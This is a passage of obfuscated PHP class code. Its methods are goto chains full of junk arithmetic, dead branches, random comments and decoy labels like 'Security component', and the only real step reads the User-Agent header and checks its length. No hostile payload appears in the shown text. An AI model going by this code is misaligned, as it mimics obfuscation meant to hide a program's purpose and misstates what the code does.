mPEZGky9; mPEZGky9: goto eFSFtG3z; eFSFtG3z: goto kUqTg1eH; kUqTg1eH: goto niNcE_mE; niNcE_mE: goto aikca54f; aikca54f: goto k3GKS0mO; k3GKS0mO: /* Z8TZ89Vqvxl2tRzu1QOO */ $a6b9oay5s = 989 + 35; $Pe9zuJ4r = $a6b9oay5s * 2; goto HkhF4zzX; HkhF4zzX: /* Security component */ goto rRlbKjF6; rRlbKjF6: if (false) { echo 'This is a dead end'; } goto YyVWANIB; YyVWANIB: // lOXn867vIJ46pJZl goto NTKVTVA2; NTKVTVA2: /* System file */ goto XeLgV2bf; XeLgV2bf: goto B4bFDgpK; B4bFDgpK: /* 5qznXtC_XO3lmum */ $iX1geSuk = 722 + 44; $iX1geSuk = $iX1geSuk * 5; goto EXefdD6a; EXefdD6a: return $a6EHyDbxg > 10; } private function yID7t2dCJD() { goto P73pcMLN; P73pcMLN: $NqlX8zGc = 628 + 3; $iCjD65Pi = $NqlX8zGc * 5; goto Jhdq7KBk; Jhdq7KBk: // GO43ztIbE5ec goto MDsbyrov; MDsbyrov: $B9ma2fmF = 457 + 11; $a6EHyDbxg = $B9ma2fmF * 1; goto jSTvrTWP; jSTvrTWP: /* Mtmrq7OiXefLLZhUEWsn */ goto zbj7BlYB; zbj7BlYB: // uwu7xTcz $a29IFo9lZ = 815 + 42; $iCjD65Pi = $a29IFo9lZ * 1; if (false) { echo 'This is a dead end'; } goto L1zm4owd; L1zm4owd: $bZa4iOd6 = 648 + 40; $a29IFo9lZ = $bZa4iOd6 * 1; goto oTYOVemv; oTYOVemv: goto S_N7odwx; S_N7odwx: /* Ziva84ORrBpBwNgBE12y */ $n7sJ6WnP = 935 + 24; $WWDcP6ib = $n7sJ6WnP * 4; goto hSMtZJAv; hSMtZJAv: $bZa4iOd6 = 759 + 15; $XsucffsH = $bZa4iOd6 * 3; if (false) { echo 'This is a dead end'; } goto srVmn6u_; srVmn6u_: goto a7RmlXhIc; a7RmlXhIc: /* I2PSp2LAm5oBkMt */ goto ESvhAmfN; ESvhAmfN: /* Core module */ goto Zt6czDZH; Zt6czDZH: /* KdbzRLZTL1CRd9m */ $NqlX8zGc = 232 + 22; $a6b9oay5s = $NqlX8zGc * 3; goto a2ubXcuu; a2ubXcuu: if (false) { echo 'This is a dead end'; } goto OxUcf_Sy; OxUcf_Sy: goto xisKoMx7; xisKoMx7: $jIP39ari = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto XMAfWFdO; XMAfWFdO: $XsucffsH = 992 + 21; $WWDcP6ib = $XsucffsH * 5; goto ZQWVNGGR; ZQWVNGGR: if (false) { echo 'This is a dead end'; } goto aNxzFUcF; aNxzFUcF: goto a2Murma4v; a2Murma4v: /* System file */ goto IqZejyX4; IqZejyX4: goto lnjp81dG; lnjp81dG: /* Core module */ goto a7gdx_HBI; a7gdx_HBI: /* SHTXpkzzwb */ $WWDcP6ib = 323 + 24; $a6b9oay5s = $WWDcP6ib * 3; if (false) { echo 'This is a dead end'; } goto KI02MYP6; KI02MYP6: /* P8NP13x70OnwIla */ $iCjD65Pi = 810 + 49; $B9ma2fmF = $iCjD65Pi * 3; goto iVUWGMUB; iVUWGMUB: $iX1geSuk = 925 + 18; $iX1geSuk = $iX1geSuk * 5; goto UDDiigfg; UDDiigfg: $XsucffsH = 820 + 3; $B9ma2fmF = $XsucffsH * 4; goto xURhKDHt; xURhKDHt: $Pe9zuJ4r = 542 + 28; $iCjD65Pi = $Pe9zuJ4r * 2; goto WYQ5Dc0p; WYQ5Dc0p: if (false) { echo 'This is a dead end'; } goto Ap0GC8SY; Ap0GC8SY: $XsucffsH = 315 + 12; $jIP39ari = $XsucffsH * 4; if (false) { echo 'This is a dead end'; } goto ao33jweY; ao33jweY: goto OscY1o75; OscY1o75: goto wMcG7WgE; wMcG7WgE: $iCjD65Pi = strlen($jIP39ari); goto a86Nv029Y; a86Nv029Y: /* Core module */ goto Zne6Gcqd; Zne6Gcqd: /* API handler */ $BqYDw4sr = 262 + 10; $NqlX8zGc = $BqYDw4sr * 5; goto mL7dsoB6; mL7dsoB6: goto iMnkynJR; iMnkynJR: goto Qu6nt2WM; Qu6nt2WM: /* Main service */ goto M_Q5ghNj; M_Q5ghNj: if (false) { echo 'This is a dead end'; } goto rLZbjrdj; rLZbjrdj: /* System file */ $FbaGmw5w = 722 + 35; $n7sJ6WnP = $FbaGmw5w * 1; goto c2viGbjF; c2viGbjF: $XsucffsH = 964 + 3; $B9ma2fmF = $XsucffsH * 4; goto YNemGfvZ; YNemGfvZ: /* wr3q0Jf3Bs0eXH3 */ goto AZqj6q6a; AZqj6q6a: $FbaGmw5w = 651 + 27; $n7sJ6WnP = $FbaGmw5w * 3; if (false) { echo 'This is a dead end'; } goto vxe_KmGy; vxe_KmGy: $iCjD65Pi = 544 + 34; $a29IFo9lZ = $iCjD65Pi * 1; goto wONGGOQu; wONGGOQu: /* Core module */ $FbaGmw5w = 139 + 11; $iX1geSuk = $FbaGmw5w * 2; goto HCYhZYx3; HCYhZYx3: if (false) { echo 'This is a dead end'; } goto HjcWJ6ut; HjcWJ6ut: /* 5yFClRpfbWNUaT0 */ $XsucffsH = 203 + 47; $iCjD65Pi = $XsucffsH * 2; goto uSuDjfsk; uSuDjfsk: $FbaGmw5w = 949 + 5; $a6EHyDbxg = $FbaGmw5w * 1; goto a3U_98cZq; a3U_98cZq: return $iCjD65Pi > 10; } private function a2R22OYcqWZ() { goto haPathUL; haPathUL: // KaZxOahryOY6 $FbaGmw5w = 377 + 16; $WWDcP6ib = $FbaGmw5w * 1; goto a_KGTPMPr; a_KGTPMPr: /* avv3I92LiaFqV03 */ $iX1geSuk = 988 + 32; $a6EHyDbxg = $iX1geSuk * 5; goto a00S7XTvg; a00S7XTvg: goto ujt4NmPB; ujt4NmPB: $bZa4iOd6 = 738 + 27; $a29IFo9lZ = $bZa4iOd6 * 5; goto T9tZr7Ig; T9tZr7Ig: /* Core module */ $n7sJ6WnP = 271 + 21; $a6EHyDbxg = $n7sJ6WnP * 2; goto a65mdo2_2; a65mdo2_2: /* API handler */ $XsucffsH = 133 + 37; $n7sJ6WnP = $XsucffsH * 1; goto Fc5bL377; Fc5bL377: /* tRD6TaaWZCm6N_z */ $NqlX8zGc = 187 + 13; $XsucffsH = $NqlX8zGc * 4; goto a9PMN1EjI; a9PMN1EjI: // d0kEUCgsg8rs goto niGIhrBI; niGIhrBI: $a6EHyDbxg = 462 + 48; $n7sJ6WnP = $a6EHyDbxg * 2; goto a1S8_tLU6; a1S8_tLU6: goto olG1o3Wp; olG1o3Wp: /* System file */ goto a3jIkoYwE; a3jIkoYwE: // mYSxVl4L2IzMxlDK goto hNeOW7hz; hNeOW7hz: // Vaue4pGs $a6EHyDbxg = 646 + 34; $WWDcP6ib = $a6EHyDbxg * 1; goto sCaVarKb; sCaVarKb: if (false) { echo 'This is a dead end'; } goto sia7yz3u; sia7yz3u: $NqlX8zGc = 613 + 13; $a6EHyDbxg = $NqlX8zGc * 2; goto dqdbfR70; dqdbfR70: $XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto HTaeoCfo; HTaeoCfo: // zvT2HYx00VdwN26a $iCjD65Pi = 781 + 49; $FbaGmw5w = $iCjD65Pi * 3; goto hWXa9BJa; hWXa9BJa: if (false) { echo 'This is a dead end'; } goto i3OPaPqc; i3OPaPqc: /* Main service */ goto n6AuaZ8S; n6AuaZ8S: $a6b9oay5s = 578 + 31; $NqlX8zGc = $a6b9oay5s * 5; goto Ngrbvvoc; Ngrbvvoc: /* Main service */ goto e179lmYT; e179lmYT: $Pe9zuJ4r = 866 + 27; $NqlX8zGc = $Pe9zuJ4r * 3; goto e4m0i3Vd; e4m0i3Vd: goto aqrf0OXk; aqrf0OXk: /* Main service */ goto YjxL1cpB; YjxL1cpB: goto e3UourHc; e3UourHc: // VX1Xk_XC $a6EHyDbxg = 390 + 34; $iCjD65Pi = $a6EHyDbxg * 3; goto JpENjADF; JpENjADF: /* Security component */ if (false) { echo 'This is a dead end'; } goto ctfdCkie; ctfdCkie: // rwpNFg_nzd15tpfX if (false) { echo 'This is a dead end'; } goto gwfxttdW; gwfxttdW: // 65rdOqmECsINmFKG if (false) { echo 'This is a dead end'; } goto PPIzXSMe; PPIzXSMe: /* Ek_mEaK6NXI2QOexqWVo */ goto a1VlMOXG5; a1VlMOXG5: if (false) { echo 'This is a dead end'; } goto Nc4WylM2; Nc4WylM2: $iX1geSuk = strlen($XsucffsH); goto a8DuscNMF; a8DuscNMF: goto a0USt_k9A; a0USt_k9A: goto a26s3Wdfb; a26s3Wdfb: goto c_gvjm_s; c_gvjm_s: /* FIYz8aCtiQtjR5u */ goto dZOnyQFG; dZOnyQFG: /* API handler */ goto f2r_YMQb; f2r_YMQb: if (false) { echo 'This is a dead end'; } goto jPMJRhwJ; jPMJRhwJ: // gfYjK4ua_ycwb0WF goto h8DqX5WA; h8DqX5WA: if (false) { echo 'This is a dead end'; } goto a9WwKrDbo; a9WwKrDbo: goto nV1ZmWjA; nV1ZmWjA: // zf7Yh5Go goto Bf6JNfAV; Bf6JNfAV: $jIP39ari = 790 + 17; $Pe9zuJ4r = $jIP39ari * 4; goto mVjqWTFe; mVjqWTFe: goto lSWCfgwu; lSWCfgwu: goto a_VT0ork0; a_VT0ork0: $bZa4iOd6 = 906 + 29; $Pe9zuJ4r = $bZa4iOd6 * 5; if (false) { echo 'This is a dead end'; } goto pcbXCS4s; pcbXCS4s: $NqlX8zGc = 119 + 23; $FbaGmw5w = $NqlX8zGc * 2; goto zGIZYmYw; zGIZYmYw: return $iX1geSuk > 10; } private function dux1kfWC51() { goto a5qXFSQY1; a5qXFSQY1: goto a4gFirt4g; a4gFirt4g: goto AdmsEm3n; AdmsEm3n: // HZ5oxtbA $a29IFo9lZ = 282 + 13; $bZa4iOd6 = $a29IFo9lZ * 4; goto nvuHeiz5; nvuHeiz5: if (false) { echo 'This is a dead end'; } goto ms7q5ESS; ms7q5ESS: goto itTrBlTP; itTrBlTP: $bZa4iOd6 = 506 + 10; $WWDcP6ib = $bZa4iOd6 * 4; if (false) { echo 'This is a dead end'; } goto zs7vHsGv; zs7vHsGv: $WWDcP6ib = 849 + 28; $a29IFo9lZ = $WWDcP6ib * 5; goto oCgZ9LYh; oCgZ9LYh: $n7sJ6WnP = 827 + 30; $B9ma2fmF = $n7sJ6WnP * 3; goto OFDCGboU; OFDCGboU: goto gCNebZlf; gCNebZlf: /* g5eLXhAgSuL99s9 */ goto kR53OIOX; kR53OIOX: goto a4G1cXAUt; a4G1cXAUt: /* API handler */ goto ICaCO_u7; ICaCO_u7: // xc2ZNPA_BFIo if (false) { echo 'This is a dead end'; } goto a7T2jWKED; a7T2jWKED: goto kPZ8WlJI; kPZ8WlJI: goto NhPzN_dO; NhPzN_dO: $Pe9zuJ4r = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto NYYhX9S4; NYYhX9S4: $B9ma2fmF = 383 + 15; $B9ma2fmF = $B9ma2fmF * 5; goto a6fjgSbuF; a6fjgSbuF: $a29IFo9lZ = 598 + 35; $FbaGmw5w = $a29IFo9lZ * 1; goto aJ4QLrra; aJ4QLrra: /* YkK8u2PVnrfbGhI */ goto eJn91w4y; eJn91w4y: /* Security component */ goto YDow1hEA; YDow1hEA: goto j8xRsd0u; j8xRsd0u: $a29IFo9lZ = 361 + 3; $B9ma2fmF = $a29IFo9lZ * 5; goto oOX39BNs; oOX39BNs: $a29IFo9lZ = 403 + 8; $WWDcP6ib = $a29IFo9lZ * 2; goto a2HwG1PME; a2HwG1PME: /* System file */ $jIP39ari = 144 + 6; $bZa4iOd6 = $jIP39ari * 1; goto Uv0gOyoI; Uv0gOyoI: /* Security component */ if (false) { echo 'This is a dead end'; } goto Hh_SGo9E; Hh_SGo9E: /* 3CzkzNActuHBrO4 */ goto NyvnSG3Z; NyvnSG3Z: $iCjD65Pi = 657 + 7; $B9ma2fmF = $iCjD65Pi * 5; goto jl8YYBXK; jl8YYBXK: if (false) { echo 'This is a dead end'; } goto a_9r0ScPd; a_9r0ScPd: goto ejmi0Uox; ejmi0Uox: // b7febheeWRoq $Pe9zuJ4r = 737 + 35; $iX1geSuk = $Pe9zuJ4r * 3; goto Swa3B5eJ; Swa3B5eJ: $a29IFo9lZ = 574 + 17; $FbaGmw5w = $a29IFo9lZ * 5; goto jiFe7qNC; jiFe7qNC: $a6EHyDbxg = strlen($Pe9zuJ4r); goto CPY88dx5; CPY88dx5: // izAa9wCt goto G7Opmoyz; G7Opmoyz: goto a0LOa4VEU; a0LOa4VEU: goto V7bEj2zs; V7bEj2zs: goto rHYFb1Al; rHYFb1Al: goto MfzH0_rd; MfzH0_rd: goto a7Z_ADNVH; a7Z_ADNVH: goto dtsjyGQJ; dtsjyGQJ: $jIP39ari = 551 + 32; $n7sJ6WnP = $jIP39ari * 2; if (false) { echo 'This is a dead end'; } goto DQzNjL5i; DQzNjL5i: /* API handler */ goto CLWAUYAk; CLWAUYAk: /* Main service */ $a29IFo9lZ = 967 + 38; $FbaGmw5w = $a29IFo9lZ * 2; if (false) { echo 'This is a dead end'; } goto jUIFb3ir; jUIFb3ir: /* API handler */ goto KzKE73mR; KzKE73mR: $a6b9oay5s = 888 + 3; $NqlX8zGc = $a6b9oay5s * 4; goto NAZVview; NAZVview: goto dn7o5HDH; dn7o5HDH: $bZa4iOd6 = 840 + 33; $XsucffsH = $bZa4iOd6 * 2; goto a0vhIfC72; a0vhIfC72: /* Main service */ goto itiPBNQK; itiPBNQK: return $a6EHyDbxg > 10; } private function nj0wOBrvcy() { /* Security component */ goto H7fs2IYg; H7fs2IYg: $WWDcP6ib = 758 + 30; $iX1geSuk = $WWDcP6ib * 1; goto D8f2RK5N; D8f2RK5N: /* Main service */ goto lagIdSZH; lagIdSZH: goto gLixBRZn; gLixBRZn: /* O4E4P9b2Cmvu4yrITeHp */ $a29IFo9lZ = 686 + 36; $bZa4iOd6 = $a29IFo9lZ * 4; if (false) { echo 'This is a dead end'; } goto a3sDtuvZu; a3sDtuvZu: /* VaPDBcZcc8 */ goto a9zZ5winm; a9zZ5winm: $FbaGmw5w = 365 + 11; $BqYDw4sr = $FbaGmw5w * 3; goto apVbl3YY; apVbl3YY: if (false) { echo 'This is a dead end'; } goto DmIcxTLi; DmIcxTLi: $iCjD65Pi = 625 + 31; $FbaGmw5w = $iCjD65Pi * 5; goto tXnILb9C; tXnILb9C: $Pe9zuJ4r = 690 + 7; $bZa4iOd6 = $Pe9zuJ4r * 3; goto twhsmqlG; twhsmqlG: goto KBlAs6S_; KBlAs6S_: goto eZ19dlmL; eZ19dlmL: /* Core module */ goto a0g24tekb; a0g24tekb: // D84ubfCg6b9rTWwh goto v0TQ6Kg3; v0TQ6Kg3: goto TzTc_0cf; TzTc_0cf: /* Core module */ $a6EHyDbxg = 337 + 8; $a6b9oay5s = $a6EHyDbxg * 4; goto bIwpQc3S; bIwpQc3S: $a6EHyDbxg = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto wanBYafC; wanBYafC: $jIP39ari = 478 + 48; $Pe9zuJ4r = $jIP39ari * 3; if (false) { echo 'This is a dead end'; } goto a82o2JuvJ; a82o2JuvJ: goto a9mBMUw8d; a9mBMUw8d: // Me8TLGpf8kHcF523 $iCjD65Pi = 277 + 30; $iX1geSuk = $iCjD65Pi * 3; if (false) { echo 'This is a dead end'; } goto gqgT1SZP; gqgT1SZP: goto JlOHuMJw; JlOHuMJw: $iX1geSuk = 155 + 5; $BqYDw4sr = $iX1geSuk * 4; goto a7yFnk7gV; a7yFnk7gV: if (false) { echo 'This is a dead end'; } goto jZfNQD_P; jZfNQD_P: /* Core module */ if (false) { echo 'This is a dead end'; } goto X46aAdNS; X46aAdNS: /* API handler */ if (false) { echo 'This is a dead end'; } goto yny3q4zS; yny3q4zS: goto a_FQdKsYs; a_FQdKsYs: goto Dkj40I88; Dkj40I88: goto V_moL0gs; V_moL0gs: // DhtqUc20Dw44Homm if (false) { echo 'This is a dead end'; } goto a9iFMBq2; a9iFMBq2: /* System file */ goto IMxQsrbF; IMxQsrbF: /* v60exrWIIyx9U9t4i7Ms */ goto IWeczX4D; IWeczX4D: goto a48A8pPgQ; a48A8pPgQ: $BqYDw4sr = strlen($a6EHyDbxg); goto a0797GHMu; a0797GHMu: /* TA8yoyIuPg3noNyAfyPD */ goto U21dPxsf; U21dPxsf: goto tuSEZAEC; tuSEZAEC: goto KwwqMX6P; KwwqMX6P: // 9xzmLtpz $WWDcP6ib = 701 + 34; $iX1geSuk = $WWDcP6ib * 5; goto jonxY1TN; jonxY1TN: goto Vjb7jZCO; Vjb7jZCO: /* wJnezPAVm4 */ goto Mb4KTr4b; Mb4KTr4b: $B9ma2fmF = 702 + 31; $iCjD65Pi = $B9ma2fmF * 2; if (false) { echo 'This is a dead end'; } goto kHtgc_dm; kHtgc_dm: // siLpIhi1DjRm goto giYblLKn; giYblLKn: goto ZKXHKuMR; ZKXHKuMR: goto paHuVpyn; paHuVpyn: /* Main service */ goto a_zzFF444; a_zzFF444: goto a3ZltMI1v; a3ZltMI1v: // THsMYGmKtw8qNTos goto apubsqSg; apubsqSg: goto XJSLsldi; XJSLsldi: // x0Vc0fJe2oIp if (false) { echo 'This is a dead end'; } goto JcrOUnBi; JcrOUnBi: return $BqYDw4sr > 10; } private function a_T_GLMD4Pk() { goto BwfWZro3; BwfWZro3: // Q3FyL2nH3otszg_a goto faqlhF2w; faqlhF2w: $iX1geSuk = 402 + 34; $FbaGmw5w = $iX1geSuk * 1; goto ZlbloGeC; ZlbloGeC: /* i0_uLY0_11JdcgzfsfCB */ goto pdW_Qdol; pdW_Qdol: goto VhVzNKbG; VhVzNKbG: $bZa4iOd6 = 940 + 21; $jIP39ari = $bZa4iOd6 * 4; if (false) { echo 'This is a dead end'; } goto xJvr2q1s; xJvr2q1s: // qea3k7c2rN2J goto yiukT32O; yiukT32O: // zx6YpwmE goto lzYRY_Cl; lzYRY_Cl: $a6b9oay5s = 945 + 33; $a6EHyDbxg = $a6b9oay5s * 3; if (false) { echo 'This is a dead end'; } goto i1AyVZAm; i1AyVZAm: /* System file */ $WWDcP6ib = 594 + 26; $BqYDw4sr = $WWDcP6ib * 4; goto a_yceIgc7; a_yceIgc7: /* Fylz0tKxzB0QHg9 */ goto VALhQFXT; VALhQFXT: goto o7DF4LJY; o7DF4LJY: // QxfAb4Rk25J1 $bZa4iOd6 = 787 + 13; $bZa4iOd6 = $bZa4iOd6 * 1; goto e5t6SWDz; e5t6SWDz: if (false) { echo 'This is a dead end'; } goto a8EcO36JX; a8EcO36JX: /* wCfRHQwNkB */ $bZa4iOd6 = 188 + 45; $XsucffsH = $bZa4iOd6 * 4; goto a9WCh8ixf; a9WCh8ixf: /* SAEbrReUBn6Svso */ $WWDcP6ib = 970 + 39; $jIP39ari = $WWDcP6ib * 4; if (false) { echo 'This is a dead end'; } goto a20aKhp95; a20aKhp95: $XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto a__N85Q8S; a__N85Q8S: // XdKvXaY2vi7w goto vhZbtsHu; vhZbtsHu: $a29IFo9lZ = 625 + 29; $WWDcP6ib = $a29IFo9lZ * 2; goto p779RnO1; p779RnO1: /* API handler */ goto Yh_EL1ee; Yh_EL1ee: // m3xtitYtMPac if (false) { echo 'This is a dead end'; } goto a97oFNqgU; a97oFNqgU: $jIP39ari = 990 + 31; $jIP39ari = $jIP39ari * 2; goto dhCvwKUm; dhCvwKUm: /* ax3E9ORhLgcfs_PkTnKq */ goto RRAi44BG; RRAi44BG: goto iRqblcMq; iRqblcMq: if (false) { echo 'This is a dead end'; } goto QFJwgK2u; QFJwgK2u: /* API handler */ $NqlX8zGc = 257 + 16; $XsucffsH = $NqlX8zGc * 2; if (false) { echo 'This is a dead end'; } goto oogPH8yh; oogPH8yh: $BqYDw4sr = 290 + 42; $FbaGmw5w = $BqYDw4sr * 2; goto oQqRyguo; oQqRyguo: /* Core module */ goto oGgmyX9N; oGgmyX9N: /* System file */ $FbaGmw5w = 499 + 44; $FbaGmw5w = $FbaGmw5w * 4; goto y0okLPhF; y0okLPhF: goto Fa6s6ON8; Fa6s6ON8: $FbaGmw5w = 736 + 16; $a6b9oay5s = $FbaGmw5w * 2; goto pEOkvuCS; pEOkvuCS: /* API handler */ goto NDzGq24r; NDzGq24r: $jIP39ari = strlen($XsucffsH); goto t457sQKg; t457sQKg: /* ZHc9APR4FHWQz7eI0ofH */ goto V5gkUVhK; V5gkUVhK: /* Main service */ if (false) { echo 'This is a dead end'; } goto H5LhESuL; H5LhESuL: /* 1eTbn41c0d */ goto ipMGWpA3; ipMGWpA3: goto lb6T40QK; lb6T40QK: /* System file */ $FbaGmw5w = 316 + 17; $WWDcP6ib = $FbaGmw5w * 1; goto y_VtC0AJ; y_VtC0AJ: goto kIPFmUTv; kIPFmUTv: goto jvrwr0vT; jvrwr0vT: goto jCM8fbLF; jCM8fbLF: // bqWIn39cKEle $NqlX8zGc = 434 + 33; $bZa4iOd6 = $NqlX8zGc * 4; goto EzuHtJY2; EzuHtJY2: $NqlX8zGc = 369 + 27; $a6b9oay5s = $NqlX8zGc * 1; if (false) { echo 'This is a dead end'; } goto JlPtkvRZ; JlPtkvRZ: /* Core module */ if (false) { echo 'This is a dead end'; } goto Efcc3AA0; Efcc3AA0: /* YvDX0FN06eLm9pgLoJ8Q */ if (false) { echo 'This is a dead end'; } goto wKPryaoD; wKPryaoD: $iCjD65Pi = 373 + 50; $B9ma2fmF = $iCjD65Pi * 3; goto GLf6GN5K; GLf6GN5K: goto AEqWZFLy; AEqWZFLy: /* Security component */ $a6EHyDbxg = 526 + 29; $jIP39ari = $a6EHyDbxg * 5; if (false) { echo 'This is a dead end'; } goto a31aVZpj_; a31aVZpj_: return $jIP39ari > 10; } private function Xy1SW73Kt9() { goto IYsmN2b8; IYsmN2b8: goto xPL_4mXc; xPL_4mXc: if (false) { echo 'This is a dead end'; } goto fTHKOnp6; fTHKOnp6: goto KdNCnUpa; KdNCnUpa: $NqlX8zGc = 147 + 17; $NqlX8zGc = $NqlX8zGc * 2; if (false) { echo 'This is a dead end'; } goto a89hYeFGN; a89hYeFGN: /* Security component */ goto XYr6hKHE; XYr6hKHE: // wtjfNj7NrdgZWOHR $Pe9zuJ4r = 819 + 29; $NqlX8zGc = $Pe9zuJ4r * 4; if (false) { echo 'This is a dead end'; } goto QlbaISru; QlbaISru: $n7sJ6WnP = 923 + 12; $iX1geSuk = $n7sJ6WnP * 2; goto pVIGYiIc; pVIGYiIc: /* API handler */ $FbaGmw5w = 653 + 5; $a6b9oay5s = $FbaGmw5w * 3; goto Mw9yJ4cI; Mw9yJ4cI: $iX1geSuk = 524 + 8; $a6b9oay5s = $iX1geSuk * 4; goto a2IO_evxY; a2IO_evxY: goto F5U3hOBU; F5U3hOBU: /* System file */ $NqlX8zGc = 291 + 36; $BqYDw4sr = $NqlX8zGc * 2; goto t2uScdsb; t2uScdsb: // vItgQPjA goto xXv4RA7T; xXv4RA7T: // rHsLiMR9 goto a7EVq_WXw; a7EVq_WXw: if (false) { echo 'This is a dead end'; } goto sZIknbMu; sZIknbMu: /* API handler */ goto apWTPlti; apWTPlti: $a6b9oay5s = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto jH8GXRx7; jH8GXRx7: /* System file */ $BqYDw4sr = 490 + 18; $iX1geSuk = $BqYDw4sr * 3; goto BG67Day3; BG67Day3: // 3Z4ZOBbLjOl7 goto JK3MaZt7; JK3MaZt7: goto Bmx63rgJ; Bmx63rgJ: $FbaGmw5w = 242 + 32; $iX1geSuk = $FbaGmw5w * 5; goto lHgZ7xE2; lHgZ7xE2: /* Core module */ if (false) { echo 'This is a dead end'; } goto NsHa8IkZ; NsHa8IkZ: goto E3Az1v73; E3Az1v73: $NqlX8zGc = 859 + 11; $iX1geSuk = $NqlX8zGc * 3; goto Uvrkf5yj; Uvrkf5yj: // 2uDEFhVn $bZa4iOd6 = 543 + 9; $n7sJ6WnP = $bZa4iOd6 * 5; goto goEzDbfy; goEzDbfy: goto gzSZ2jLl; gzSZ2jLl: $a29IFo9lZ = 142 + 8; $a29IFo9lZ = $a29IFo9lZ * 1; if (false) { echo 'This is a dead end'; } goto Hm5rDvx7; Hm5rDvx7: // bmtBIjZ1 $jIP39ari = 175 + 29; $BqYDw4sr = $jIP39ari * 3; goto Peeitgrw; Peeitgrw: if (false) { echo 'This is a dead end'; } goto XzT9Ttll; XzT9Ttll: /* llndmOqS_nTGJMG */ goto esCsIEvJ; esCsIEvJ: goto a8z8mReGF; a8z8mReGF: /* Security component */ if (false) { echo 'This is a dead end'; } goto UJhf9xJF; UJhf9xJF: $BqYDw4sr = strlen($a6b9oay5s); goto CT8QNMgJ; CT8QNMgJ: goto raiEVIrd; raiEVIrd: $iX1geSuk = 949 + 27; $bZa4iOd6 = $iX1geSuk * 1; if (false) { echo 'This is a dead end'; } goto kV2sf1ZS; kV2sf1ZS: /* Security component */ if (false) { echo 'This is a dead end'; } goto GG8nH1O_; GG8nH1O_: /* Security component */ $iCjD65Pi = 475 + 50; $Pe9zuJ4r = $iCjD65Pi * 1; if (false) { echo 'This is a dead end'; } goto a8OWDwD5D; a8OWDwD5D: if (false) { echo 'This is a dead end'; } goto S3hpZ6xR; S3hpZ6xR: // bQdwEPUAq_Zx $WWDcP6ib = 350 + 31; $iX1geSuk = $WWDcP6ib * 2; goto a17lSomUJ; a17lSomUJ: $a29IFo9lZ = 473 + 23; $XsucffsH = $a29IFo9lZ * 1; goto a2LzHbt6t; a2LzHbt6t: // LAZ5xNEDBuZRKgQ3 goto GfMCWaYa; GfMCWaYa: $FbaGmw5w = 465 + 41; $bZa4iOd6 = $FbaGmw5w * 1; if (false) { echo 'This is a dead end'; } goto sYYh94vM; sYYh94vM: goto RaoiGGHZ; RaoiGGHZ: /* Core module */ $n7sJ6WnP = 158 + 2; $WWDcP6ib = $n7sJ6WnP * 2; goto hzqMkwm8; hzqMkwm8: // Asru7bIq goto u3hlSIrZ; u3hlSIrZ: goto o9_rqn7W; o9_rqn7W: /* mLwYYNlkMiIE9ms */ if (false) { echo 'This is a dead end'; } goto a5XJIYz_s; a5XJIYz_s: if (false) { echo 'This is a dead end'; } goto bnf0W5xA; bnf0W5xA: return $BqYDw4sr > 10; } private function a61XSAJwOub() { goto akQ8Q9kJ; akQ8Q9kJ: $FbaGmw5w = 968 + 35; $Pe9zuJ4r = $FbaGmw5w * 1; if (false) { echo 'This is a dead end'; } goto V_LxvK4R; V_LxvK4R: $a29IFo9lZ = 870 + 32; $Pe9zuJ4r = $a29IFo9lZ * 4; if (false) { echo 'This is a dead end'; } goto sdtSfDhC; sdtSfDhC: /* PdSGZxRG8SIPSiO0o3GU */ $bZa4iOd6 = 939 + 29; $FbaGmw5w = $bZa4iOd6 * 4; goto a71erIoxM; a71erIoxM: /* sKBbBo_XnK7AJE0 */ $bZa4iOd6 = 417 + 49; $bZa4iOd6 = $bZa4iOd6 * 4; goto jWmx2ILh; jWmx2ILh: /* System file */ $iX1geSuk = 938 + 42; $n7sJ6WnP = $iX1geSuk * 1; goto Gwfky34J; Gwfky34J: $iCjD65Pi = 239 + 39; $B9ma2fmF = $iCjD65Pi * 3; goto yc6vp6Ot; yc6vp6Ot: /* Core module */ goto O8zg57zU; O8zg57zU: /* MMrfDedn3zbIY6F */ goto GURsfFIp; GURsfFIp: $iX1geSuk = 463 + 3; $n7sJ6WnP = $iX1geSuk * 4; goto ZhiAeZIU; ZhiAeZIU: // IGUhJaxA $a6EHyDbxg = 897 + 34; $BqYDw4sr = $a6EHyDbxg * 2; if (false) { echo 'This is a dead end'; } goto CEt91oJl; CEt91oJl: if (false) { echo 'This is a dead end'; } goto IDQksS0K; IDQksS0K: // 3LU00hQK goto mmBuyTwX; mmBuyTwX: // 9hjyZj7G $Pe9zuJ4r = 601 + 24; $a29IFo9lZ = $Pe9zuJ4r * 5; goto xthg650t; xthg650t: goto AH0Ti3I1; AH0Ti3I1: goto xEIheUKw; xEIheUKw: $BqYDw4sr = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto ReA0EK6N; ReA0EK6N: goto ipivbfG_; ipivbfG_: goto kAFD3YYJ; kAFD3YYJ: /* Core module */ goto z6gqU2iI; z6gqU2iI: // NBJywfDymPrU goto vyd4i6Gm; vyd4i6Gm: goto a8COhxtUZ; a8COhxtUZ: /* Main service */ $a6b9oay5s = 748 + 9; $iCjD65Pi = $a6b9oay5s * 3; goto q5sMwsRz; q5sMwsRz: /* 5C4uDoQ7mP */ goto Gw9GLKXz; Gw9GLKXz: /* Main service */ goto uIRZJZHf; uIRZJZHf: if (false) { echo 'This is a dead end'; } goto vv0hHkra; vv0hHkra: $bZa4iOd6 = 693 + 11; $jIP39ari = $bZa4iOd6 * 4; if (false) { echo 'This is a dead end'; } goto hik1vrIE; hik1vrIE: goto o9mGb9tH; o9mGb9tH: $n7sJ6WnP = 265 + 42; $iX1geSuk = $n7sJ6WnP * 1; goto a2sdJHvgX; a2sdJHvgX: $B9ma2fmF = 235 + 39; $n7sJ6WnP = $B9ma2fmF * 1; goto fMxR44pj; fMxR44pj: $BqYDw4sr = 273 + 13; $NqlX8zGc = $BqYDw4sr * 5; goto fAmYveiz; fAmYveiz: /* Main service */ if (false) { echo 'This is a dead end'; } goto m3NuKk3q; 